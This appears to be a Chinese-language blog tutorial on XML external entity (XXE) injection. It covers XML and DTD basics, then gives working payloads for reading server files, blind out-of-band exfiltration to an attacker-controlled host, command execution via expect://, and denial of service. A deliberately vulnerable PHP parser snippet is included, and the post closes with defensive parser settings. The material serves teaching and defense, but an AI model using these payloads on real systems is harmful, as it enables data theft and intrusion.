返回
Featured image of post XXE 相关

XXE 相关

go!

XXE漏洞

XXE(XML External Entity Injection)漏洞,全称XML外部实体注入。该漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件。

危害:

  • 文件读取
  • 命令执行
  • 攻击内网网站
  • ..

XML基础

定义

XML是一种类似于HTML的标记语言,但是 XML 没有使用预定义的标记。因此,可以根据自己的设计需求定义专属于自己的标记。这是一种十分有用的可存储、可搜索和可共享的格式存储数据的方法。

跨系统或平台共享或传输 XML ,无论是在本地还是在互联网上,接收方仍然可以根据标准化的 XML 语法解析数据。

XML设计宗旨是传输数据,而不是显示数据;HTML被设计用来显示数据。

结构

XML文档包含XML声明、DTD文档类型定义(该部分可选)、文档元素三部分。

示例:

<!-- 声明信息 -->
<?xml version="1.0" encoding="UTF-8" ?>

<message>
	<receiver>me</receiver>
	<sender>somebody</sender>
	<header>TheReminder</header>
	<msg>This is an amazing msg</msg>
</message>

DTD

DTD(Document Type Definition),文档类型定义,通过定义DTD说明XML文档中有哪些模块以及各模块中有哪些内容。

示例-定义内部DTD:

<!-- 声明信息 -->
<?xml version="1.0"?>

<!-- 定义内部 DTD -->
<!DOCTYPE message [
	<!ELEMENT message (receiver ,sender ,header ,msg)>
	<!ELEMENT receiver (#PCDATA)>
	<!ELEMENT sender (#PCDATA)>
	<!ELEMENT header (#PCDATA)>
	<!ELEMENT msg (#PCDATA)>
]>

<message>
	<receiver>me</receiver>
	<sender>somebody</sender>
	<header>TheReminder</header>
	<msg>This is an amazing msg</msg>
</message>

除了在DTD 中定义元素(对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容,也可类似声明变量),例如某些内容是固定不变的。

示例-定义实体:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY xxe "test">]>

<!-- ANY表示可接收任何元素;在这里定义了一个'xxe'的实体,其实可以看成一个变量,后续可以在 XML中通过 & 符号进行引用) -->

定义上述实体后,在元素部分即可这样引用:

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

<!-- 使用 &xxe; 对 上面定义的 xxe 实体进行了引用,当输出时, &xxe; 就会被 "test" 替换。 -->

实体可分为内部实体和外部实体,上述例子是内部实体,当然实体也可以从外部DTD文件中引用。

示例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

<!-- 引用外部实体时,当引用资源发生改变,则在xml文档中就可以自动更新 -->

还有一种引用外部实体方式是引用公用DTD:

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

实体也可分为通用实体和参数实体

通用实体

&实体名;引用的实体,在DTD中定义,在XML文档中引用。

示例:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE updateProfile [
    <!ENTITY file SYSTEM "file:///c:/windows/win.ini">]> 

<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

参数实体

  • 使用 % 实体名(中间有个空格) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用参数实体
  • 只有在DTD文件中,参数实体的声明才能引用其他实体
  • 和通用实体一样,参数实体也可以外部引用

示例:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

XML实体注入

当引用了一个外部实体后,就可能存在一定的问题,如下代码是一个引用外部实体的例子:

<?xml version="1.0"?>

<!DOCTYPE demo[
    <!ENTITY content SYSTEM "file:///c:/test.dtd">
]>

<demo>&content;</demo>

当更改路径dtd文件的路径,是否就可直接获得一些敏感文件的内容。

XXE的重点就在于关注外部实体。

利用

读取敏感文件

有回显

当服务端接收XML文档解析并进行回显时,即可修改XML代码以读取服务端上的敏感文件。

示例:

# 服务端
<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

// 加载xml文档内容并echo进行回显

payload:

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE test [  
<!ENTITY file SYSTEM "file:///etc/passwd"> ]> 

<test>&file;</test>

注意:读取文件时,文件所在目录要有可执行权限

问题:上述例子读取了一个纯净文件,那么当文件中含有影响xml文档语义的字符该怎么办?例如<,>,&,",'等。

示例:

可成功读出,当加入特殊字符,则无法读出:

解决1-引入CDATA:

CDATA的作用就是将原始数据内容视为纯字符数据而不再具备语义。

<![CDATA [
....
]]>

所以只要将读出的文本内容用CDATA包裹起来就可以。

需要借助参数实体:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % file SYSTEM "file:///usr/haha">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://192.168.0.106/evil.dtd"> 
%dtd; ]> 

<test>&all;</test>

evil.dtd:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%file;%end;">

可成功读出:

解决2-伪协议编码读取:

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE test [  
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr/haha"> ]> 

<test>&file;</test>

无回显

实际环境中XML更多用于配置文件和传输数据,一般不会有回显。所以更多是无回显的场景。即,blind XXE

示例:

# 服务端

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr/haha">
<!ENTITY % xxe SYSTEM "http://192.168.0.106/dtd.dtd">
%xxe;
%all;
]>
<foo>&send;</foo>

dtd.dtd:

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.0.105/haha.php?p=%file;'>">

带出结果:

注意:

  • 在dtd.dtd文件中不直接定义send实体去发送请求是因为这样做file实体参数是无法解析的,因此需要外加一层all参数实体声明,当参数实体all引用时才会解析file实体
  • 当带出大文件时会报错,估计是在URI长度有限制**(this is a question)**
  • file实体解析后的文件内容实际是不纯净的,一般末尾会跟有0x0a(如下图),所以放到直接放到URL里会报非法url的错,所以可以使用伪协议编码后进行外带

然而,有时候无法引入外部实体(因为防火墙等原因),同样也是无回显场景,这时可以尝试引入系统自带的一些dtd文件,实现重新定义一些参数实体从而外带数据

  • linux:/usr/share/yelp/dtd/docbookx.dtd
  • windows:C:\Windows\System32\wbem\xml

payload:

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr/haha">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://192.168.0.105/?&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;send;
    '> 
    %remote;
]>
<message>1314</message>

执行命令

当PHP中安装expect扩展时可用。

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id">]>
<xxe>
  <name>&xxe;</name>
</xxe>

DoS攻击

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///dev/random">]>
<xxe>
  <name>&xxe;</name>
</xxe>

/dev/random:提供永不为空的随机字节数据流

防御方法

  • 使用对应开发语言提供的禁用DTD、禁用外部实体和参数实体等方法

    • PHP
    libxml_disable_entity_loader(true);
    
    • Java
    // 禁用DTDs (doctypes)
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    
    // 如果不能禁用DTDs,设置以下两项(同时存在)
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);      //防止外部实体
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);   //防止参数实体
    
  • 过滤关键字

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy